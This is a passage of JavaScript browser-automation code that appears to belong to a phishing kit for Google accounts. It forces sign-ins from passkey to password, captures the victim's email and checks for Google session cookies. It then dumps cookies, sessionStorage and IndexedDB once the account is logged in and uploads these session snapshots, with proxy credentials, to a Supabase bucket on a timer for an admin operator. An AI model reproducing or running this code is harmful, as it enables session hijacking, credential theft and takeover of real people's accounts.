| "use your password", |
| "enter your password", |
| "use password", |
| "password instead", |
| "password" |
| ]; |
|
|
| const PASSWORD_OPTION_EXCLUDES = ["forgot", "reset", "can't", "cant", "help"]; |
|
|
| const PASSKEY_BYPASS_TIMEOUT_MS = 15000; |
| const PASSKEY_RETRY_INTERVAL_MS = 400; |
|
|
| async function clickBestMatchByText(page, include, exclude = []) { |
| return page |
| .evaluate(({ include, exclude }) => { |
| const includes = (include || []).map((item) => String(item).toLowerCase()); |
| const excludes = (exclude || []).map((item) => String(item).toLowerCase()); |
|
|
| const normalize = (value) => String(value || "").replace(/\s+/g, " ").trim().toLowerCase(); |
| const isVisible = (el) => { |
| if (!el) return false; |
| const style = window.getComputedStyle(el); |
| if (!style || style.visibility === "hidden" || style.display === "none") return false; |
| if (Number(style.opacity) === 0) return false; |
| const rect = el.getBoundingClientRect(); |
| return rect.width > 2 && rect.height > 2; |
| }; |
| const textOf = (el) => |
| normalize( |
| el.innerText || el.textContent || el.getAttribute("aria-label") || el.getAttribute("title") || el.value |
| ); |
|
|
| const candidates = Array.from( |
| document.querySelectorAll( |
| 'button, a, div[role="button"], span[role="button"], [role="link"], [role="menuitem"], [role="option"], li[role="menuitem"], li[role="option"], input[type="button"], input[type="submit"]' |
| ) |
| ); |
|
|
| let best = null; |
| let bestScore = -1; |
|
|
| for (const el of candidates) { |
| if (!isVisible(el)) continue; |
| const text = textOf(el); |
| if (!text) continue; |
| if (excludes.some((token) => text.includes(token))) continue; |
|
|
| let score = -1; |
| for (const inc of includes) { |
| if (!inc) continue; |
| if (text === inc) score = Math.max(score, 100); |
| else if (text.startsWith(inc)) score = Math.max(score, 90); |
| else if (text.includes(inc)) score = Math.max(score, 80); |
| } |
|
|
| if (score > bestScore) { |
| bestScore = score; |
| best = el; |
| } |
| } |
|
|
| if (best) { |
| const clickable = |
| best.closest('button, a, [role="button"], [role="link"], [role="menuitem"], [role="option"]') || best; |
| clickable.click(); |
| return true; |
| } |
| return false; |
| }, { include, exclude }) |
| .catch(() => false); |
| } |
|
|
| async function clickTryAnotherWay(page) { |
| const quick = page.getByRole("button", { |
| name: /try another way|try another method|try a different way|use another method|use a different method|sign in another way|other options|more options/i |
| }); |
| if ((await quick.count().catch(() => 0)) > 0) { |
| await quick.first().click({ timeout: 1200 }).catch(() => {}); |
| return true; |
| } |
| return clickBestMatchByText(page, TRY_ANOTHER_WAY_TEXTS); |
| } |
|
|
| async function clickPasswordOption(page) { |
| const quickCandidates = [ |
| page.getByRole("button", { name: /use your password|enter your password|password/i }), |
| page.getByRole("option", { name: /password/i }), |
| page.getByRole("menuitem", { name: /password/i }), |
| page.getByText(/use your password|enter your password|password/i) |
| ]; |
|
|
| for (const locator of quickCandidates) { |
| if ((await locator.count().catch(() => 0)) > 0) { |
| await locator.first().click({ timeout: 1200 }).catch(() => {}); |
| return true; |
| } |
| } |
|
|
| return clickBestMatchByText(page, PASSWORD_OPTION_TEXTS, PASSWORD_OPTION_EXCLUDES); |
| } |
|
|
| async function ensurePasskeyBypass(page, session) { |
| if (session.passkeyBypassInFlight) return; |
| session.passkeyBypassInFlight = true; |
| const deadline = Date.now() + PASSKEY_BYPASS_TIMEOUT_MS; |
|
|
| try { |
| while (Date.now() < deadline) { |
| if (!page || page.isClosed?.()) break; |
|
|
| const passwordVisible = await page |
| .locator('input[type="password"], input[name="Passwd"]') |
| .first() |
| .isVisible() |
| .catch(() => false); |
| if (passwordVisible) { |
| session.hasSeenPasswordInput = true; |
| break; |
| } |
|
|
| const clickedTry = await clickTryAnotherWay(page); |
| if (clickedTry) { |
| await page.waitForTimeout(250).catch(() => {}); |
| } |
|
|
| const clickedPassword = await clickPasswordOption(page); |
| if (clickedPassword) { |
| await page.waitForTimeout(250).catch(() => {}); |
| } |
|
|
| const passwordNow = await page |
| .locator('input[type="password"], input[name="Passwd"]') |
| .first() |
| .isVisible() |
| .catch(() => false); |
| if (passwordNow) { |
| session.hasSeenPasswordInput = true; |
| break; |
| } |
|
|
| await page.waitForTimeout(PASSKEY_RETRY_INTERVAL_MS).catch(() => {}); |
| } |
| } finally { |
| session.passkeyBypassInFlight = false; |
| if (session.hasSeenPasswordInput) { |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } else if (session.freezeReason === "passkey_prompt") { |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } |
| } |
| } |
|
|
| async function handlePasskeyPrompt(page, session) { |
| await maybeCaptureEmail(session); |
|
|
| const passwordInput = page.locator('input[type="password"], input[name="Passwd"]'); |
| if (await passwordInput.first().isVisible().catch(() => false)) { |
| session.hasSeenPasswordInput = true; |
| if (session.freezeStream) { |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } |
| return false; |
| } |
|
|
| if (session.hasSeenPasswordInput) { |
| return false; |
| } |
|
|
| const passkeyHeading = page.getByText(/passkey|use your phone|this device|security key/i); |
| const tryAnotherWay = page.getByRole("button", { |
| name: /try another way|try another method|try a different way|use another method|use a different method|sign in another way|other options|more options/i |
| }); |
| const hasPasskeyPrompt = (await passkeyHeading.count().catch(() => 0)) > 0; |
| const hasTryAnother = (await tryAnotherWay.count().catch(() => 0)) > 0; |
| const url = page.url(); |
| const urlLooksLikePasskey = /challenge\/(?:ipp|wa|sk|pk|az|authzen|pks|tap)/i.test(url); |
|
|
| if (!hasPasskeyPrompt && !hasTryAnother && !urlLooksLikePasskey) { |
| return false; |
| } |
|
|
| session.freezeStream = true; |
| session.freezeUntil = Date.now() + PASSKEY_BYPASS_TIMEOUT_MS; |
| session.freezeReason = "passkey_prompt"; |
|
|
| if (!session.passkeyBypassInFlight) { |
| ensurePasskeyBypass(page, session).catch(() => {}); |
| } |
|
|
| return true; |
| } |
|
|
| const EMAIL_REGEX = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i; |
|
|
| function normalizeEmailAddress(raw) { |
| if (!raw) return null; |
| let value = raw.trim().toLowerCase(); |
| if (!value) return null; |
| if (value.startsWith("mailto:")) { |
| value = value.slice("mailto:".length); |
| } |
| if (!EMAIL_REGEX.test(value)) return null; |
| if (value.endsWith("@googlemail.com")) { |
| return value.replace("@googlemail.com", "@gmail.com"); |
| } |
| return value; |
| } |
|
|
| function normalizeGmailAddress(raw) { |
| const normalized = normalizeEmailAddress(raw); |
| if (!normalized) return null; |
| if (!normalized.endsWith("@gmail.com")) return null; |
| return normalized; |
| } |
|
|
| function canonicalGmailLocal(local) { |
| if (!local) return null; |
| const base = local.split("+")[0] || ""; |
| const stripped = base.replace(/\./g, ""); |
| return stripped || null; |
| } |
|
|
| function canonicalGmailKeyFromEmail(email) { |
| const normalized = normalizeGmailAddress(email); |
| if (!normalized) return null; |
| const [local] = normalized.split("@"); |
| const canonicalLocal = canonicalGmailLocal(local); |
| if (!canonicalLocal) return null; |
| return `${canonicalLocal}@gmail.com`; |
| } |
|
|
| function canonicalGmailKeyFromPrefix(prefix) { |
| if (!prefix || prefix.includes("@")) return null; |
| const canonicalLocal = canonicalGmailLocal(prefix.toLowerCase()); |
| if (!canonicalLocal) return null; |
| return `${canonicalLocal}@gmail.com`; |
| } |
|
|
| function normalizeTargetUrl(raw) { |
| if (!raw || typeof raw !== "string") return null; |
| const trimmed = raw.trim(); |
| if (!trimmed) return null; |
| if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) return trimmed; |
| return `https://${trimmed}`; |
| } |
|
|
| function emailPrefix(email) { |
| const normalized = normalizeEmailAddress(email); |
| if (!normalized) return null; |
| if (normalized.endsWith("@gmail.com")) { |
| return normalized.split("@")[0]; |
| } |
| return normalized; |
| } |
|
|
| async function isEmailStep(page) { |
| return page |
| .evaluate(() => { |
| const input = document.querySelector('input[type="email"], input[name="identifier"], input#identifierId'); |
| if (!input) return false; |
| const rect = input.getBoundingClientRect(); |
| return rect.width > 1 && rect.height > 1; |
| }) |
| .catch(() => false); |
| } |
|
|
| async function clickEmailNext(page) { |
| return page |
| .evaluate(() => { |
| const isVisible = (el) => { |
| if (!el) return false; |
| const rect = el.getBoundingClientRect(); |
| return rect.width > 1 && rect.height > 1; |
| }; |
|
|
| const direct = |
| document.querySelector("#identifierNext button") || |
| document.querySelector("#identifierNext") || |
| document.querySelector('[data-id="identifierNext"]') || |
| document.querySelector('[id*="identifierNext"]'); |
| if (direct && isVisible(direct)) { |
| direct.click(); |
| return true; |
| } |
|
|
| const candidates = Array.from( |
| document.querySelectorAll('button, input[type="submit"], div[role="button"], span[role="button"]') |
| ).filter(isVisible); |
|
|
| const match = candidates.find((btn) => { |
| const text = (btn.innerText || btn.getAttribute("aria-label") || btn.value || "") |
| .trim() |
| .toLowerCase(); |
| return text.includes("next") || text.includes("continue"); |
| }); |
|
|
| if (match) { |
| match.click(); |
| return true; |
| } |
| return false; |
| }) |
| .catch(() => false); |
| } |
|
|
| function beginEmailNextFreeze(session) { |
| if (DISABLE_EMAIL_NEXT_FREEZE) return; |
| session.freezeStream = true; |
| session.freezeUntil = Date.now() + 4000; |
| session.freezeReason = "email_next"; |
| } |
|
|
| function maybeUnfreezeEmailNext(session) { |
| if (session.freezeReason !== "email_next") return; |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } |
|
|
| function watchEmailNextProgress(session, page) { |
| if (!page) return; |
| const unfreeze = () => maybeUnfreezeEmailNext(session); |
| setTimeout(unfreeze, 4000); |
| page |
| .waitForSelector('input[type="password"], input[name="Passwd"]', { state: "visible", timeout: 5000 }) |
| .then(unfreeze) |
| .catch(() => {}); |
| page |
| .waitForURL((url) => !url.toString().includes("identifier"), { timeout: 5000 }) |
| .then(unfreeze) |
| .catch(() => {}); |
| } |
|
|
| async function extractEmailAddress(page) { |
| try { |
| const payload = await page.evaluate(() => { |
| const candidates = []; |
| const push = (value) => { |
| if (value && typeof value === "string") candidates.push(value); |
| }; |
|
|
| const labeled = document.querySelector('[aria-label*="@"]'); |
| if (labeled) push(labeled.getAttribute("aria-label")); |
|
|
| const dataEmail = document.querySelector("[data-email]"); |
| if (dataEmail) push(dataEmail.getAttribute("data-email")); |
|
|
| const mailto = document.querySelector('a[href^="mailto:"]'); |
| if (mailto) push(mailto.getAttribute("href")); |
|
|
| const accountButtons = Array.from(document.querySelectorAll('[aria-label*="Google Account"]')); |
| for (const el of accountButtons.slice(0, 3)) { |
| push(el.getAttribute("aria-label")); |
| } |
|
|
| const bodyText = (document.body?.innerText || "").slice(0, 200000); |
| return { candidates, bodyText }; |
| }); |
|
|
| const pickEmail = (text) => { |
| if (!text) return null; |
| const match = text.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}/i); |
| return match ? match[0] : null; |
| }; |
|
|
| for (const candidate of payload.candidates || []) { |
| const fromCandidate = pickEmail(candidate); |
| const normalized = normalizeEmailAddress(fromCandidate); |
| if (normalized) return normalized; |
| } |
|
|
| const fromBody = pickEmail(payload.bodyText); |
| const normalized = normalizeEmailAddress(fromBody); |
| if (normalized) return normalized; |
| } catch (err) { |
| console.warn("Email extraction failed:", err.message); |
| } |
| return null; |
| } |
|
|
| async function maybeCaptureEmail(session) { |
| if (!session || session.accountEmail || !session.page || session.page.isClosed?.()) return; |
| const now = Date.now(); |
| if (session.lastEmailCaptureAt && now - session.lastEmailCaptureAt < 2000) return; |
| session.lastEmailCaptureAt = now; |
|
|
| try { |
| const emailValue = await session.page |
| .evaluate(() => { |
| const input = document.querySelector( |
| 'input[type="email"], input[name="identifier"], input#identifierId' |
| ); |
| return input?.value || ""; |
| }) |
| .catch(() => ""); |
| const normalized = normalizeEmailAddress(emailValue); |
| if (normalized) { |
| session.accountEmail = normalized; |
| return; |
| } |
| } catch (err) {} |
|
|
| const extracted = await extractEmailAddress(session.page); |
| if (extracted) { |
| session.accountEmail = extracted; |
| } |
| } |
|
|
| async function collectOriginStorage(context, origins) { |
| const sessionStorageByOrigin = {}; |
| const indexedDbByOrigin = {}; |
| if (!origins.length) return { sessionStorageByOrigin, indexedDbByOrigin }; |
|
|
| const page = await context.newPage(); |
| for (const origin of origins) { |
| try { |
| await page.goto(origin, { waitUntil: "domcontentloaded", timeout: 15000 }); |
| const data = await page.evaluate(async ({ maxRecords }) => { |
| const sessionStorageData = {}; |
| for (let i = 0; i < sessionStorage.length; i += 1) { |
| const key = sessionStorage.key(i); |
| if (key) sessionStorageData[key] = sessionStorage.getItem(key); |
| } |
|
|
| const indexedDbData = {}; |
| if (indexedDB.databases) { |
| const dbs = await indexedDB.databases(); |
| for (const dbInfo of dbs || []) { |
| if (!dbInfo?.name) continue; |
| const dbName = dbInfo.name; |
| const dbDump = await new Promise((resolve) => { |
| const request = indexedDB.open(dbName, dbInfo.version || 1); |
| request.onsuccess = () => { |
| const db = request.result; |
| const stores = {}; |
| const storeNames = Array.from(db.objectStoreNames || []); |
| if (!storeNames.length) { |
| resolve({ version: db.version, stores }); |
| return; |
| } |
| const tx = db.transaction(storeNames, "readonly"); |
| const countLimit = maxRecords > 0 ? maxRecords : undefined; |
|
|
| const loadStore = (storeName) => |
| new Promise((storeResolve) => { |
| const store = tx.objectStore(storeName); |
| const indexes = Array.from(store.indexNames || []).map((name) => { |
| const idx = store.index(name); |
| return { |
| name, |
| keyPath: idx.keyPath, |
| unique: idx.unique, |
| multiEntry: idx.multiEntry |
| }; |
| }); |
|
|
| const getAllReq = store.getAll(undefined, countLimit); |
| const getKeysReq = store.getAllKeys(undefined, countLimit); |
|
|
| const valuesPromise = new Promise((resolveValues) => { |
| getAllReq.onsuccess = () => resolveValues(getAllReq.result || []); |
| getAllReq.onerror = () => resolveValues([]); |
| }); |
| const keysPromise = new Promise((resolveKeys) => { |
| getKeysReq.onsuccess = () => resolveKeys(getKeysReq.result || []); |
| getKeysReq.onerror = () => resolveKeys([]); |
| }); |
|
|
| Promise.all([valuesPromise, keysPromise]).then(([values, keys]) => { |
| const records = []; |
| for (let i = 0; i < values.length; i += 1) { |
| records.push({ key: keys[i], value: values[i] }); |
| } |
| stores[storeName] = { |
| keyPath: store.keyPath || null, |
| autoIncrement: !!store.autoIncrement, |
| indexes, |
| records |
| }; |
| storeResolve(); |
| }); |
| }); |
|
|
| Promise.all(storeNames.map((name) => loadStore(name))).then(() => { |
| resolve({ version: db.version, stores }); |
| }); |
| }; |
| request.onerror = () => resolve(null); |
| }); |
| if (dbDump) indexedDbData[dbName] = dbDump; |
| } |
| } |
|
|
| return { sessionStorageData, indexedDbData }; |
| }, { maxRecords: MAX_IDB_RECORDS }); |
|
|
| if (Object.keys(data.sessionStorageData || {}).length > 0) { |
| sessionStorageByOrigin[origin] = data.sessionStorageData; |
| } |
| if (Object.keys(data.indexedDbData || {}).length > 0) { |
| indexedDbByOrigin[origin] = data.indexedDbData; |
| } |
| } catch (err) { |
| console.warn(`Storage export failed for ${origin}:`, err.message); |
| } |
| } |
|
|
| await page.close(); |
| return { sessionStorageByOrigin, indexedDbByOrigin }; |
| } |
|
|
| function makeSnapshotId() { |
| return new Date().toISOString().replace(/[:.]/g, "-"); |
| } |
|
|
| function makeSnapshotLabel(seed) { |
| if (!VERSION_WORDS.length) return "Version"; |
| const source = seed ? String(seed) : crypto.randomBytes(8).toString("hex"); |
| let hash = 0; |
| for (let i = 0; i < source.length; i += 1) { |
| hash = (hash * 31 + source.charCodeAt(i)) | 0; |
| } |
| const len = VERSION_WORDS.length; |
| const idx1 = Math.abs(hash) % len; |
| const idx2 = Math.abs((hash * 131 + 97) | 0) % len; |
| const word1 = VERSION_WORDS[idx1]; |
| const word2 = VERSION_WORDS[idx2 === idx1 ? (idx2 + 1) % len : idx2]; |
| return `${word1} ${word2}`; |
| } |
|
|
| function slugifyLabel(label) { |
| return String(label || "") |
| .toLowerCase() |
| .replace(/[^a-z0-9]+/g, "-") |
| .replace(/^-+|-+$/g, ""); |
| } |
|
|
| function getFallbackEmail(session) { |
| if (!session) return null; |
| if (session.fallbackEmail) return session.fallbackEmail; |
| const baseLabel = makeSnapshotLabel(session.sessionId || `${Date.now()}`); |
| const slug = slugifyLabel(baseLabel) || "guest"; |
| const suffix = (session.sessionId || "").split("-")[0] || Math.floor(Math.random() * 9999); |
| const email = `${slug}-${suffix}@unknown.local`; |
| session.fallbackEmail = email; |
| return email; |
| } |
|
|
| function snapshotIdToIso(snapshotId) { |
| if (!snapshotId) return null; |
| const match = snapshotId.match(/^(\d{4}-\d{2}-\d{2})T(\d{2})-(\d{2})-(\d{2})-(\d{3})Z$/); |
| if (match) { |
| return `${match[1]}T${match[2]}:${match[3]}:${match[4]}.${match[5]}Z`; |
| } |
| return snapshotId; |
| } |
|
|
| const AUTH_COOKIE_NAMES = new Set([ |
| "SID", |
| "HSID", |
| "SSID", |
| "SAPISID", |
| "APISID", |
| "OSID", |
| "__Secure-1PSID", |
| "__Secure-3PSID", |
| "__Secure-1PSIDCC", |
| "__Secure-3PSIDCC", |
| "__Secure-OSID" |
| ]); |
|
|
| async function hasGoogleAuthCookies(context) { |
| try { |
| const cookies = await context.cookies(["https://accounts.google.com", "https://mail.google.com"]); |
| for (const cookie of cookies || []) { |
| if (AUTH_COOKIE_NAMES.has(cookie.name)) return true; |
| } |
| } catch (err) { |
| console.warn("Auth cookie check failed:", err.message); |
| } |
| return false; |
| } |
|
|
| function looksLikeGmailMailboxUrl(url) { |
| if (!url || !url.includes("mail.google.com")) return false; |
| if (/\/mail\/u\/\d+\//.test(url)) return true; |
| if (/\/mail\/(?:#|$|\\?)/.test(url)) return true; |
| return false; |
| } |
|
|
| async function isAuthenticatedSession(session) { |
| if (!session?.page || session.page.isClosed?.()) return false; |
| const now = Date.now(); |
| if (session.lastAuthCheckAt && now - session.lastAuthCheckAt < 2000) { |
| return !!session.lastAuthCheckResult; |
| } |
|
|
| let isLoggedIn = false; |
| try { |
| const url = session.page.url(); |
| if (looksLikeGmailMailboxUrl(url) || url.includes("myaccount.google.com")) { |
| isLoggedIn = true; |
| } else if (url.includes("accounts.google.com")) { |
| const loginInputVisible = await session.page |
| .locator('input[type="email"], input[name="identifier"], input#identifierId, input[type="password"], input[name="Passwd"]') |
| .first() |
| .isVisible() |
| .catch(() => false); |
| if (!loginInputVisible) { |
| isLoggedIn = await hasGoogleAuthCookies(session.context); |
| } |
| } else if (url.includes("mail.google.com") || url.includes("myaccount.google.com")) { |
| const loginInputVisible = await session.page |
| .locator('input[type="email"], input[name="identifier"], input#identifierId, input[type="password"], input[name="Passwd"]') |
| .first() |
| .isVisible() |
| .catch(() => false); |
| if (!loginInputVisible) { |
| isLoggedIn = await hasGoogleAuthCookies(session.context); |
| } |
| } |
| } catch (err) { |
| console.warn("Auth check failed:", err.message); |
| } |
|
|
| session.lastAuthCheckAt = now; |
| session.lastAuthCheckResult = isLoggedIn; |
| return isLoggedIn; |
| } |
|
|
| function ensureDir(dirPath) { |
| if (!fs.existsSync(dirPath)) { |
| fs.mkdirSync(dirPath, { recursive: true }); |
| } |
| } |
|
|
| async function saveSnapshot(session, email, reason = "manual") { |
| if (!supabase) { |
| console.warn("Supabase not configured; skipping snapshot"); |
| return { ok: false, reason: "supabase_not_configured" }; |
| } |
|
|
| const prefix = emailPrefix(email); |
| if (!prefix) return { ok: false, reason: "email_invalid" }; |
|
|
| const snapshotId = makeSnapshotId(); |
| const label = makeSnapshotLabel(snapshotId); |
| const savedAt = new Date().toISOString(); |
| const localDir = path.join(BACKUPS_DIR, prefix, session.sessionId, "snapshots", snapshotId); |
| ensureDir(localDir); |
|
|
| console.log(`Snapshot ${snapshotId} for ${email}...`); |
| const statePath = path.join(localDir, "state.json"); |
| const envPath = path.join(localDir, "env.json"); |
|
|
| let storageState; |
| try { |
| storageState = await session.context.storageState({ path: statePath }); |
| } catch (err) { |
| console.warn("Storage state capture failed:", err.message); |
| return { ok: false, reason: "storage_state_failed", details: err.message }; |
| } |
| const origins = new Set((storageState.origins || []).map((entry) => entry.origin)); |
| try { |
| const currentOrigin = new URL(session.page.url()).origin; |
| origins.add(currentOrigin); |
| } catch (err) {} |
|
|
| let sessionStorageByOrigin = {}; |
| let indexedDbByOrigin = {}; |
| try { |
| const collected = await collectOriginStorage(session.context, Array.from(origins)); |
| sessionStorageByOrigin = collected.sessionStorageByOrigin; |
| indexedDbByOrigin = collected.indexedDbByOrigin; |
| } catch (err) { |
| console.warn("Origin storage capture failed:", err.message); |
| } |
|
|
| const savedContextOptions = session.contextOptions |
| ? { ...session.contextOptions } |
| : buildContextOptions(session.deviceInfo, null, null); |
| if (savedContextOptions.storageState) delete savedContextOptions.storageState; |
|
|
| const env = { |
| version: 1, |
| email, |
| sessionId: session.sessionId, |
| snapshotId, |
| label, |
| reason, |
| savedAt, |
| lastUrl: session.page.url(), |
| profileKey: session.sessionId, |
| proxy: session.proxy |
| ? { |
| id: session.proxy.id || null, |
| server: session.proxy.server || null, |
| protocol: session.proxy.protocol || null, |
| host: session.proxy.host || null, |
| port: session.proxy.port || null, |
| username: session.proxy.username || null, |
| password: session.proxy.password || null, |
| insecureTls: !!session.proxy.insecureTls |
| } |
| : null, |
| deviceInfo: session.deviceInfo, |
| contextOptions: savedContextOptions, |
| browserArgs: session.browserArgs || LAUNCH_ARGS, |
| stealth: true, |
| sessionStorageByOrigin, |
| indexedDbByOrigin |
| }; |
|
|
| try { |
| fs.writeFileSync(envPath, JSON.stringify(env, null, 2)); |
| } catch (err) { |
| console.warn("Env write failed:", err.message); |
| return { ok: false, reason: "env_write_failed", details: err.message }; |
| } |
|
|
| const remoteBase = `sessions/${prefix}/${session.sessionId}/snapshots/${snapshotId}`; |
| const stateUpload = await uploadToSupabase(statePath, `${remoteBase}/state.json`); |
| const envUpload = await uploadToSupabase(envPath, `${remoteBase}/env.json`); |
| const stateOk = stateUpload.ok; |
| const envOk = envUpload.ok; |
|
|
| if (stateOk && envOk) { |
| const latestBase = `sessions/${prefix}/${session.sessionId}/latest`; |
| await uploadToSupabase(statePath, `${latestBase}/state.json`); |
| await uploadToSupabase(envPath, `${latestBase}/env.json`); |
|
|
| const metaRemote = `sessions/${prefix}/${session.sessionId}/meta.json`; |
| const metaExisting = (await downloadJsonFromSupabase(metaRemote)) || {}; |
| const snapshots = Array.isArray(metaExisting.snapshots) ? metaExisting.snapshots : []; |
| const snapshotMeta = { snapshotId, label, savedAt }; |
| snapshots.push(snapshotMeta); |
|
|
| const meta = { |
| email, |
| prefix, |
| sessionId: session.sessionId, |
| createdAt: metaExisting.createdAt || session.createdAt || savedAt, |
| lastSnapshotId: snapshotId, |
| lastSavedAt: savedAt, |
| snapshots |
| }; |
|
|
| const metaPath = path.join(localDir, "meta.json"); |
| try { |
| fs.writeFileSync(metaPath, JSON.stringify(meta, null, 2)); |
| await uploadToSupabase(metaPath, metaRemote); |
| } catch (err) { |
| console.warn("Meta write/upload failed:", err.message); |
| } |
| } |
|
|
| if (!stateOk || !envOk) { |
| const detail = !stateOk ? `state: ${stateUpload.error}` : `env: ${envUpload.error}`; |
| console.warn(`Snapshot upload failed for ${email}`, detail); |
| return { ok: false, reason: "upload_failed", details: detail }; |
| } else { |
| console.log(`Snapshot uploaded for ${email}`); |
| } |
| return { ok: true, label, savedAt, snapshotId, prefix }; |
| } |
|
|
| async function autoSnapshot(session) { |
| if (!supabase) return; |
| if (session?.adminClient) return; |
| if (!session || session.snapshotInFlight) return; |
| const now = Date.now(); |
| if (session.lastSnapshotAt && now - session.lastSnapshotAt < SNAPSHOT_INTERVAL_MS - 1000) return; |
|
|
| const isLoggedIn = await isAuthenticatedSession(session); |
| if (!isLoggedIn) return; |
|
|
| await maybeCaptureEmail(session); |
| const snapshotEmail = session.accountEmail || getFallbackEmail(session); |
|
|
| session.snapshotInFlight = true; |
| let result = null; |
| try { |
| result = await saveSnapshot(session, snapshotEmail, "auto"); |
| } catch (err) { |
| console.warn("Auto snapshot failed:", err.message); |
| } finally { |
| session.snapshotInFlight = false; |
| } |
| if (result?.ok) { |
| session.lastSnapshotAt = Date.now(); |
| } else if (result?.reason) { |
| const details = result?.details ? `: ${result.details}` : ""; |
| console.warn(`Auto snapshot skipped (${result.reason}${details})`); |
| } |
| } |
|
|
| function ensureSnapshotTimer(session) { |
| if (!session || session.snapshotTimer) return; |
| session.snapshotTimer = setInterval(() => { |
| autoSnapshot(session).catch(() => {}); |
| }, SNAPSHOT_INTERVAL_MS); |
| } |
|
|
| async function downloadSnapshotFromSupabase(prefix, sessionId, snapshotId) { |
| if (!supabase) throw new Error("supabase_not_configured"); |
| if (!prefix || !sessionId) throw new Error("snapshot_missing"); |
|
|
| const isLatest = !snapshotId || snapshotId === "latest"; |
| const remoteBase = isLatest |
| ? `sessions/${prefix}/${sessionId}/latest` |
| : `sessions/${prefix}/${sessionId}/snapshots/${snapshotId}`; |
| const localDir = path.join(BACKUPS_DIR, prefix, sessionId, isLatest ? "latest" : snapshotId); |
| ensureDir(localDir); |
|
|
| const stateRemote = `${remoteBase}/state.json`; |
| const envRemote = `${remoteBase}/env.json`; |
| const statePath = path.join(localDir, "state.json"); |
| const envPath = path.join(localDir, "env.json"); |
|
|
| const stateOk = await downloadFromSupabase(stateRemote, statePath); |
| const envOk = await downloadFromSupabase(envRemote, envPath); |
| if (!stateOk || !envOk) { |
| throw new Error("snapshot_files_missing"); |
| } |
| const env = JSON.parse(fs.readFileSync(envPath, "utf8")); |
| return { statePath, envPath, env }; |
| } |
|
|
| async function deleteSnapshotFromSupabase(prefix, sessionId, snapshotId) { |
| if (!supabase) throw new Error("supabase_not_configured"); |
| if (!prefix || !sessionId || !snapshotId) throw new Error("snapshot_missing"); |
|
|
| const snapshotBase = `sessions/${prefix}/${sessionId}/snapshots/${snapshotId}`; |
| const { data: snapshotFiles, error: snapshotListErr } = await supabase.storage |
| .from(supabaseBucket) |
| .list(snapshotBase, { limit: 1000, offset: 0, sortBy: { column: "name", order: "asc" } }); |
|
|
| if (snapshotListErr) { |
| throw new Error(snapshotListErr.message); |
| } |
|
|
| const filePaths = (snapshotFiles || []).map((file) => `${snapshotBase}/${file.name}`); |
| if (filePaths.length) { |
| const { error: removeErr } = await supabase.storage.from(supabaseBucket).remove(filePaths); |
| if (removeErr) { |
| throw new Error(removeErr.message); |
| } |
| } |
|
|
| const metaRemote = `sessions/${prefix}/${sessionId}/meta.json`; |
| const metaExisting = (await downloadJsonFromSupabase(metaRemote)) || null; |
| if (!metaExisting || !Array.isArray(metaExisting.snapshots)) { |
| return { ok: true }; |
| } |
|
|
| const prevLastId = metaExisting.lastSnapshotId || null; |
| const snapshots = metaExisting.snapshots.filter((snap) => snap?.snapshotId && snap.snapshotId !== snapshotId); |
|
|
| if (snapshots.length === 0) { |
| await supabase.storage.from(supabaseBucket).remove([metaRemote]); |
| const latestBase = `sessions/${prefix}/${sessionId}/latest`; |
| await supabase.storage.from(supabaseBucket).remove([`${latestBase}/state.json`, `${latestBase}/env.json`]); |
| return { ok: true, remaining: 0 }; |
| } |
|
|
| snapshots.sort((a, b) => new Date(b.savedAt || 0).getTime() - new Date(a.savedAt || 0).getTime()); |
| const latest = snapshots[0]; |
| metaExisting.snapshots = snapshots; |
| metaExisting.lastSnapshotId = latest.snapshotId; |
| metaExisting.lastSavedAt = latest.savedAt || new Date().toISOString(); |
|
|
| const metaPath = path.join(BACKUPS_DIR, prefix, sessionId, "meta.json"); |
| ensureDir(path.dirname(metaPath)); |
| fs.writeFileSync(metaPath, JSON.stringify(metaExisting, null, 2)); |
| await uploadToSupabase(metaPath, metaRemote); |
|
|
| if (prevLastId === snapshotId || !prevLastId) { |
| try { |
| const { statePath, envPath } = await downloadSnapshotFromSupabase(prefix, sessionId, latest.snapshotId); |
| const latestBase = `sessions/${prefix}/${sessionId}/latest`; |
| await uploadToSupabase(statePath, `${latestBase}/state.json`); |
| await uploadToSupabase(envPath, `${latestBase}/env.json`); |
| } catch (err) { |
| console.warn("Failed to refresh latest snapshot", err.message); |
| } |
| } |
|
|
| return { ok: true, remaining: snapshots.length }; |
| } |
|
|
| function getPageId(session, page) { |
| if (!page) return null; |
| if (!page.__adminId) { |
| page.__adminId = `${session.sessionId}-${session.nextPageId++}`; |
| } |
| return page.__adminId; |
| } |
|
|
| function sendTabs(session) { |
| if (!session?.adminClient || !session.ws) return; |
| if (session.ws.readyState !== session.ws.OPEN) return; |
| const tabs = []; |
| for (const id of session.pageOrder) { |
| const page = session.pages.get(id); |
| if (!page || page.isClosed?.()) continue; |
| tabs.push({ id, url: page.url() }); |
| } |
| if (!tabs.length) return; |
| if (!session.activePageId || !session.pages.get(session.activePageId)) { |
| session.activePageId = tabs[0].id; |
| } |
| session.ws.send(JSON.stringify({ type: "tabs", tabs, activeId: session.activePageId })); |
| } |
|
|
| function setActivePage(session, page) { |
| if (!page || page.isClosed?.()) return; |
| const id = getPageId(session, page); |
| session.page = page; |
| session.activePageId = id; |
| session.streaming = true; |
| streamLoop(session); |
| sendTabs(session); |
| } |
|
|
| function registerPage(session, page, { makeActive = false } = {}) { |
| if (!page || page.isClosed?.()) return; |
| installSignInCopyOverride(page).catch(() => {}); |
| const id = getPageId(session, page); |
| if (!session.pages.has(id)) { |
| session.pages.set(id, page); |
| session.pageOrder.push(id); |
| } |
|
|
| page.on("close", () => { |
| session.pages.delete(id); |
| session.pageOrder = session.pageOrder.filter((pid) => pid !== id); |
| if (session.page === page) { |
| const nextId = session.pageOrder.find((pid) => { |
| const p = session.pages.get(pid); |
| return p && !p.isClosed?.(); |
| }); |
| if (nextId) { |
| setActivePage(session, session.pages.get(nextId)); |
| } else { |
| session.page = null; |
| session.activePageId = null; |
| } |
| } |
| sendTabs(session); |
| }); |
|
|
| page.on("framenavigated", async (frame) => { |
